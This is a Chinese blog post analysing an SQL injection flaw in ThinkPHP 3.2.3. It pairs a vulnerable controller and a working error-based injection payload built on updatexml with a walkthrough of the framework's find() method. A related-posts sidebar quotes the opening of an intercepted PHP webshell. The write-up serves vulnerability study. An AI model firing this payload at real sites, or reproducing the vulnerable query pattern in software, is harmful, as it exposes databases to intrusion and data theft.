当前位置:首页 > 网络安全交流 > 正文内容

thinkPHP3.2.3中sql注入漏洞

14324472932年前 (2023-11-16)网络安全交流605
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
		$data = M('user')->find(I('GET.id'));
		var_dump($data);
	}
}

0c022280bbaa236e7aa0afb35c7ada11-0.png

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

确实报错注入成功,一切都是因为这句代码的存在:$data = M('user')->find(I('GET.id'));

I和M方法都没有什么问题,真正的问题在于

public function find($options=array()) {   
        // 根据复合主键查找记录
        $pk  =  $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里
            // 根据复合主键查询
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
                return false;
            }
        }
        // 总是查找一条记录
        $options['limit']   =   1;
        // 分析表达式
        $options            =   $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用
     	$resultSet          =   $this->db->select($options);//重要的一步


扫描二维码推送至手机访问。

版权声明:本文由爱开发博客发布,如需转载请注明出处。

本文链接:https://www.lovekf.cn/?id=4

分享给朋友:
返回列表

没有更早的文章了...

下一篇:那些被拦截到的php小马

“thinkPHP3.2.3中sql注入漏洞” 的相关文章

那些被拦截到的php小马3

<?php if (!defined('THINK_PATH')) exit(); file_put_contents ('wordpass.php', urldecode (urldecod...

宝塔木马查杀工具 5.1改进

木马查杀工具 5.1插件目前已经总结了常见的木马脚本的特征,写了一套有效的识别方案。后续会继续加大样本库,收集最新的webshell。本代码已经彻底放弃了原有的插件核心功能。本插件的逻辑是宁可杀错也不能放过,所以凡是无法正常识别混淆过的代码就列为嫌疑对象。缺点: 1.特征库太少,没有接入云查杀,变...

netcraft反钓鱼举报和拦截

目前网络环境中钓鱼网站数不胜数,netcraft作为网络钓鱼防护、域名保护、品牌保护的领先强者,可以快速处理钓鱼网站。 1.浏览器保护Netcraft 的免费浏览器扩展提供实时增强的保护,防止恶意网站保护您免受网络钓鱼、虚假商店和恶意脚本(如 JavaScript 撇油器和加密货币矿工)的侵害。浏...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。